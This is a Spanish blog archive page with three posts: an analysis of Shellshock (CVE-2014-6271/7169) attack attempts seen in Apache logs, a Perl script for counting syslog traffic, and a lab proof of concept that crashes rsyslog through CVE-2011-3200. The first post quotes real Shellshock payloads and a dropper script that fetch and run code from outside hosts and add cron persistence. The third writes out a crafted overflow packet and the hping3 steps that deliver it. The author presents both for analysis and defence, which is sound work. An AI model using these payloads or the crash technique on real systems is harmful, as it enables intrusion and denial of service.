Mostrando entradas con la etiqueta logs. Mostrar todas las entradas
Mostrando entradas con la etiqueta logs. Mostrar todas las entradas

domingo, 28 de septiembre de 2014

Buscando rastros de CVE-2014-6271 y CVE-2014-7169 en los logs

El miércoles pasado se descubrió una gran falla de seguridad en uno de las shells mas utilizadas en ambietes Unix-like, bash. Hoy que estoy de vuelta en el ruedo me decidí a ver si ya estabamos antes escaneos masivos en busca de servidores para explotar la vulnerabilidad y claramente si.

En un breve análisis de logs de apache vemos cosas como:


Sep 27 14:34:35 host01 host01: 37.148.163.38 - - [27/Sep/2014:14:34:34 -0300] "GET / HTTP/1.1" 200 91558 "-" "() { :;}; /bin/bash -c \"wget http://psicologoweb.net/mc/s.php/host1\""

Sep 27 15:53:26 host02 host02: 143.107.202.68 - - [27/Sep/2014:15:53:26 -0300] "GET / HTTP/1.1" 200 227 "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh" "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh"

Sep 27 15:53:26 host02 host02: 143.107.202.68 - - [27/Sep/2014:15:53:26 -0300] "GET / HTTP/1.1" 200 227 "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh" "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh"

Sep 27 15:53:26 host03 host03: 143.107.202.68 - - [27/Sep/2014:15:53:26 -0300] "GET / HTTP/1.1" 200 9836 "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh" "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh"

Sep 27 15:53:26 host04 host04: 143.107.202.68 - - [27/Sep/2014:15:53:26 -0300] "GET / HTTP/1.1" 200 10166 "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh" "() { foo;};echo; /usr/bin/wget 221.132.37.26/sh -O /tmp/sh; bash /tmp/sh ; rm -f /tmp/sh"

La lista continua con diferentes variantes, pero en esencia se descargan desde la IP 221.132.37.26 el archivo "sh" con el siguiente contenido:


#!/bin/sh

cd /tmp;cd /dev/shm
wget -q http://221.132.37.26/xx -O ...x
chmod +x ...x
./...x
cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru
cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr
killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php
killall -9 .rnd
killall -9 .a
killall -9 kernelupdate
killall -9 dev
killall -9 sh
killall -9 bash
killall -9 apache2
killall -9 httpd
killall -9 cla
killall -9 ka
killall -9 kav
killall -9 m32
killall -9 m64
killall -9 perl
killall -9 sh
killall -9 sucrack
killall -9 m64 m32 minerd32 minerd64 minerd  cla qt64 qt32 clover cron sh wget
kill -9 `pidof .rnd`
kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`
kill -9 `pidof dev`
kill -9 `pidof perl`
kill -9 `pidof m32`
kill -9 `pidof m64`
kill -9 `pidof ka`
kill -9 `pidof kav`
kill -9 `pidof cla`
kill -9 `pidof sh`
kill -9 `pidof sucrack`
echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron
rm -rf /tmp/cron

El paso siguiente es descargarse un ejecutable llamado "xx":


file juan@moon:~$ file Descargas/xx
Descargas/xx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.15, not stripped

juan@moon:~$ ll Descargas/xx -h
-rw-rw-r-- 1 juan juan 652K 2014-09-28 21:18 Descargas/xx

juan@moon:~$ md5sum Descargas/xx
835ccabb2fded42a58f40a342a3ea189  Descargas/xx
juan@moon:~$ 



Un binario de un tamaño considerable, catalogado por Virustotal como un troyano para Linux (enlace del análisis: https://www.virustotal.com/es/file/b48d0534a20291bc102f1f9ba9882daf753a9a75006e0be7ffb90bfc7df7e2f1/analysis/1411951054/)



Ejecuta el troyano y descarga dos nuevos archivos "ru" y "rr", siendo el contenido de ru (rr ya fue eliminado parece ser):


#!/bin/bash
dontrun=""
arch=`uname -m`
cd /dev/shm
function runPnscan()
{

cd /dev/shm
chmod +x pnscan php
bash run &

}

function isPnscanOn()
{
        pid=`pidof pnscan`
        if [ "$pid" == "" ];then

                retval=0
        else
                retval=1
        fi             
        echo "$retval"
}
        cd /dev/shm
        if [ ! -f pnscan ];then
        case "$arch" in
                "x86_64")
                wget -q http://bont.hu/ar/64.tgz -O 64.tgz
                tar xvzf 64.tgz
rm -rf 64.tgz
                ;;
                *)
                wget -q http://bont.hu/ar/86.tgz -O 86.tgz
                tar xvzf 86.tgz
rm -rf 86.tgz
                ;;
        esac
        fi


if [ $(isPnscanOn) == 1 ];then
#        echo "Running"
        exit
else
        echo "Not Running"
        if [ "$dontrun" != "1" ];then
                $(runPnscan)
        fi
fi
rm -rf /dev/shm/run
rm -rf /dev/shm/pnscan

Este nuevo script descarga mas cosas que ya no existen por lo tanto no parecería tener sentido analizarlo demasiado pero... a simple vista intenta correr a toda costa pnscan, y ¿qué demonios es eso? JA, se trata de nada mas y nada menos que un scanner de redes paralelo, es decir un software para scanear grandes redes de manera eficiente con funcionamiento multihilo lo cual lo hace muy rápido. 

Continuando con el script xx vemos que una vez descargados ru y rr los ejecuta y elimina. Paso siguiente mata una cantidad considerable de procesos, muchos conocidos y otros no tanto. 

Lo mas simpático de este script es el intento de inmortalizarse haciendo uso de cron:


echo "@weekly wget -q http://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron
crontab /tmp/cron


Como siempre se están usando sitios comprometidos para alojar el malware que se descarga, en este caso el sitio bont.hu por ejemplo.

Recomendaciones:

-Revisen los logs y busquen cadenas como "/bin/bash", "echo", "/bin/wget", etc, junto con "() {", etc.
-Si encuentran sistemas que registraron estos logs, analicen mas a fondo para ver si realmente fue ejecutada la orden. Si la aplicación web tien cgi activados, con mas razón aún.
-Eliminen todos los archivos de /tmp/
-Busquen conexiones desde/hacia el servidor en puertos raros con netstat por ejemplo (si es que no fue cambiado por un rootkit claro xD)
-Por último cabe recordar que no hay que fiarse demasiado de la información que entregue el sistema dado que puede haber sido comprometido.

Saludossss

domingo, 10 de junio de 2012

Contando mis logs

Tanto tiempo ciertoo??? Esta vez vengo con un problema mas operativo que otra cosa! El problema es el siguiente: me tocó implementar un servidor de logs centralizado donde escriben logs unos mmm, 150-200 hosts, entre servidores, equipos de red, ups etc.

Hay momentos en el día en que la cantidad de logs se puede poner un pooco densa, y por las noches extrañamente el rsyslog colapsa. En principio activé el monitoreo propio de rsyslog, pero este solamente me dice la cantidad de logs en la cola actual, la cantidad encolados desde que inició el servidor, y el máximo de logs que hubo en algún momento en la cola.

##Estadisticas de rsyslog
$ModLoad impstats.so
$PStatInterval 20
$PStatSeverity 7


Aca una salida del monitoreo con impstats.so

Jun 10 20:50:25 bb rsyslogd-pstats: imuxsock: submitted=141 ratelimit.discarded=0 ratelimit.numratelimiters=72
Jun 10 20:50:25 bb rsyslogd-pstats: action 30 queue: size=0 enqueued=213694 full=0 maxqsize=159
Jun 10 20:50:25 bb rsyslogd-pstats: action 31 queue: size=0 enqueued=76427 full=0 maxqsize=18
Jun 10 20:50:25 bb rsyslogd-pstats: main Q: size=3 enqueued=636410 full=0 maxqsize=238

Tengo 3 colas, la principal y dos mas, una para escribir en un rsyslog secundario remoto y otra para escribir en una BD en otro servidor remoto.

Por las noches sucedía que la mainQ colapsaba y perdía logs. Un par de veces el servidor colapsó.

El tamaño default de la cola de mensajes principal es de 10k mensajes, por lo tanto como me sobraba memoria agrandé la cola considerablemente a unos 100k mensajes. Y por las dudas implementé unas mediciones extras para ver qué cantidad de logs están llegando y de qué dispositivos en particular.

Asumciones:
-Que los logs vienen por UDP (recuerdo que algunos servidores están configurador con TCP, pero son minoría).
-Que cada paquete UDP representa un mensaje, es lo mas probable.

La solución fue el siguiente script en perl:

#!/usr/bin/perl -w

open STDIN,"tcpdump -n -s 1024 -tt dst host HOST_IP and dst port 514 2>/dev/null |" or die "Oops";
open STDOUT,">>/dev/null";
open STDERR,">>/dev/null";

$t1=time();
$t2=$t1+300;

#Imprime en "valores" un historico con el siguiente formato
#fecha y hora
#mensajes -> host
#mensajes -> host
#...
#Ademas escribe en total_logs, el valor logs.value mensajes
#este archivo es levantado por munin para graficar la cantidad
#de mensajes recibidos en los ultimos 5 minutos
sub ver_valores
{
        my $i;
        my $s="";
        my $x=0;
        foreach $i (sort (keys %LOGS))
        {
                $x=$x+$LOGS{$i};
                $s=$s."$LOGS{$i} -> $i\n";
        }
        open(F,">>valores");
        print F localtime()."\n$s\n\n";
        close(F);
        open(F,">total_logs");
        print F "logs.value $x";
        close(F);
}


#Pone en 0 todos los valores del hash
sub reiniciar
{
        foreach $i (keys %LOGS)
        {
                $LOGS{$i}=0;
        }
}

while()
{
        my @a=split(' ',$_);
        my @b=split('\.',$a[2]);
        my $c="$b[0].$b[1].$b[2].$b[3]";
        if(defined $LOGS{$c})
        {
                $LOGS{$c}=$LOGS{$c}+1;
        }
        else
        {
                $LOGS{$c}=1;
        }
        $t1=time();
        if($t1 > $t2)#pasaron al menos 300 segundos
        {
                $t2=$t1+300;
                ver_valores();
                reiniciar();
        }
}


El script es bastante sencillo, toma la salida de tcpdump (un tanto filtrada para reducir la carga al script), y por cada linea (mensaje syslog) carga un nuevo valor en el hash o incrementa en 1 el valor si el host ya fue ingresado. Pasados los 300 segundos se llama a la función ver_valores(), que imprime datos en dos archivos diferentes. Luego la función reiniciar, que pone a cero la cantidad de mensajes de todos los hosts de hash, era mas sencillo reiniciar el hash completamente? SI, pero me interesa que el hash crezca a medida que un nuevo host comienza a mandar logs, y si deja de enviar que marque cero.

Filtrado del tcpdump:

-n: sin resolución de nombres.
-s 1024: reducir el tamaño máximo de captura por paquete, para no sobrecargar en vano, con 1024 bytes sobra para reconocer el tipo de paquete (UDP o TCP).
-tt: para que la hora se imprima como timestamp.
dst host HOST_IP and dst port 514: solamente captura los paquetes destinados a a la IP HOST_IP y al puerto 514 (UDP o TCP).

Si bien falta un pequeño detalle (a tratar en otro post, que es hacer de este script un demonio, de momento lo lanzo con screen), con esto logré saber el número de mensajes recibidos en los últimos 5 minutos y tener un historial que muestra la cantidad de logs que envió cada host.



En la imagen podemos ver como si bien hay una tendencia a los 2k mensajes cada 5 minutos, hubo unos picos muy interesantes que pasaron los 20k mensajes!!!

UPDATE: hice un cambio en la función ver_valores(), básicamente simplifiqué la obtención de la hora, ahora es mas simple la función.

lunes, 12 de septiembre de 2011

Prueba de concepto CVE-2011-3200 rsyslog

Es una tendencia y una muy buena práctica la centralización de los logs de los equipos. Existen varias opciones, siendo las mas difundidas rsyslog, syslog-ng y syslogd.
En esta entrada vamos a comprobar una vulnerabilidad (debilidad o falta de un control) que fue encontrada hace un par de semanas en el servidor de logs rsyslog.
La vulnerabilidad es básicamente un desbordamiento de pila, provocado por un excesivo tamaño del campo TAG. Este, es uno de los campos que compone un mensaje tipo syslog (RFC3164 http://www.ietf.org/rfc/rfc3164.txt).

El contexto de pruebas es el siguiente:

-Servidor rsyslog remoto en la dirección 192.168.206.160 (OpenSuSE 11.3)
-Cliente rsyslog en la dirección 192.168.206.1 (Ubuntu 9.10)

Software utilizado:

-rsyslog 5.4.0 en el servidor
-rsyslog 4.2.0 en el cliente
-logger en el cliente
-hping3 en el cliente

Configurar el servidor rsyslog:

Primeramente configuramos nuestro servidor rsyslog para que reciba mensajes remotos, esto se hace editando el archivos /etc/rsyslog.d/remote.conf y descomentando las siguientes líneas:

$ModLoad imudp.so
$UDPServerRun 514

Luego reiniciamos rsyslog, y abrimos el puerto 514 UDP en el firewall para poder recibir los mensajes.

Configurar el cliente rsyslog:

En este ejemplo vamos a indicar al rsyslog que corre en la pc cliente, que envíe al servidor remoto los logs que tengan facility local7 y severity warn (o mayor a warn); agregamos la siguiente linea a /etc/rsyslog.d/50-default.conf

local7.warn    @192.168.206.160

Probando la configuración con logger:

Logger es una interface de comandos que nos comunica con el sistema de loggin del equipo local. Es decir, logger NO enviará los mensajes al servidor remoto, sino al rsyslog local y este los enviará a donde correspondan.

logger -p local7.err -d -t Prueba "esto es una prueba"

Y en la red vemos:


Y del lado del servidor, con tail -f /var/log/messages veremos como llega nuestro mensaje:



Entonces ya tenemos andando nuestro servidor de logs centralizado (.... por decirlo de una manera :P).

Ahora veamos qué pasa si rompemos la barrera de los  32 caracteres en el campo TAG del mensaje, utilizando logger.

# logger -p local7.err -d -t PruebaPruebaPruebaPruebaPruebaTTX "esto es una prueba"

Captura de wireshark:


CARAMBA! Podemos apreciar que la X que excede el límite de los 32 caracteres nunca salió de nuestro sistema, es decir que nuestro rsyslog local cortó la cadena para solamente enviar lo permitido.

Bien, de momento podemos asegurar que un rsyslog no tiraría abajo otro rsyslog porque jamás enviaría un TAG que superase el límite que dicta el RFC.

Qué pasa si... creamos a mano un mensaje syslog y violamos esta restricción?

Para simular el mensaje copiamos de wireshark la parte de datos del paquete UDP y lo pegamos abriendo un archivo en modo binario (vi -b crafted_packet), de la siguiente forma:


Ahora el TAG tiene "PruebaPruebaPruebaPruebaPruebaTTX" que son 33 caracteres, es decir la misma prueba que hicimos con logger, pero esta vez será de manera manual, salteandonos el rsyslog local.

Pero cómo metemos este mensaje en un paquete UDP y lo enviamos al servidor???

hping3 es la respuesta a esa pregunta!!! hping3 es una aplicación esencialmente diseñada para hacer ataques de flooding xD, pero en este caso la usaremos con fines menos escabrosos. Entre otras cosas nos permite crear paquetes ICMP, IP, TCP, UDP de forma muy flexible y enviarlos a tasas dañinas o no.

Lo que haremos es generar paquetes UDP al puerto 514 del servidor de logs remoto en la IP 192.168.206.160.

La forma de generar el paquete es la siguiente:


-2 : indica que queremos generar paquetes UDP
-i 1: cantidad de paquetes por segundo
-d 78: tamaño del PDU UDP, es decir de los datos del paquete UDP
-E crafted_packet: es el archivo de 78 bytes que creamos anteriormente
-p 514: indica el puerto de destino de los paquetes
192.168.206.160: es la IP del servidor remoto

En la parte inferior de la imagen vemos los dos paquetes que recibió el servidor remoto, y se puede apreciar la X extra que excede los 32 caracteres. Por lo tanto queda claro que el buffer donde se guarda esta variable tiene mas de 32 bytes de espacio.

Bueno, ahora a reventarlo de una vez por todas.

Ahora generemos un ultra_crafted_packet (muajaja muajaja), básicamente es el crafted_packet, pero con 1024 X en lugar de una. Al archivo lo generé con un MUY feo script en perl.

#!/usr/bin/perl -w
open(F,">ultra_crafted_packet");
$inicio="<187>Sep 11 15:25:32 moon PruebaPruebaPruebaPruebaPruebaTT";
$fin=" esto es una prueba";
$mid="";
foreach $i (1 .. 1024)
{
    $mid="X".$mid;
}
print F $inicio.$mid.$fin;
close(F);

Ejecutamos el script y ya tenemos nuestro super ultra_crafted_packet, con un total de 1101 bytes. Entonces lanzamos hping3, cambiando los parámetros que corresponden (-d 1101 y -E ultra_crafted_packet).


Y en el servidor nos encontramos con una grata sorpresa :D :


La muerte súbita de rsyslogd y el backtrace correspondiente.

Entonces nos encontramos ante un sencillo caso de denegación al servicio de login centralizado. Solo basta con 1 paquete que exceda los límites del buffer donde se almacena el campo TAG del mensaje syslog, para que el servicio muera.

POR SUERTE la mayoría (sino todas) de las distribuciones ya han publicado el parche correspondiente. Por lo tanto actualizar el servidor es crucial.

#zypper lu -t patch | grep rsyslog


Nos muestra disponible el parche de seguridad 5099, que corresponde a esta vulnerabilidad. Lo aplicamos y volvemos a probar.

#zypper in patch rsyslog

#rcsyslog restart

Y volvemos a lanzar hping3 con los parámetros que mataron el servidor, pero esta vez vemos:


Esta vez el servidor no hice overflow y sigue funcionando perfectamente. Por lo tanto el parche funciona.

Bueno, esto ya se extendió demasiado, posiblemente esta vulnerabilidad pueda ser explotada para hacer cosas mas peligrosas, pero a mi gusto es suficiente con poder denegar un servicio que podría ser crucial para una organización.

El parche creo que se tomó 1 semana en salir, y en ese tiempo todos los rsyslog que vagaban por el mundo eran vulnerables a algo tan secillo como esto... me gustaría creer que no queda ninguno sin actualiazr... ME GUSTARÍA!!!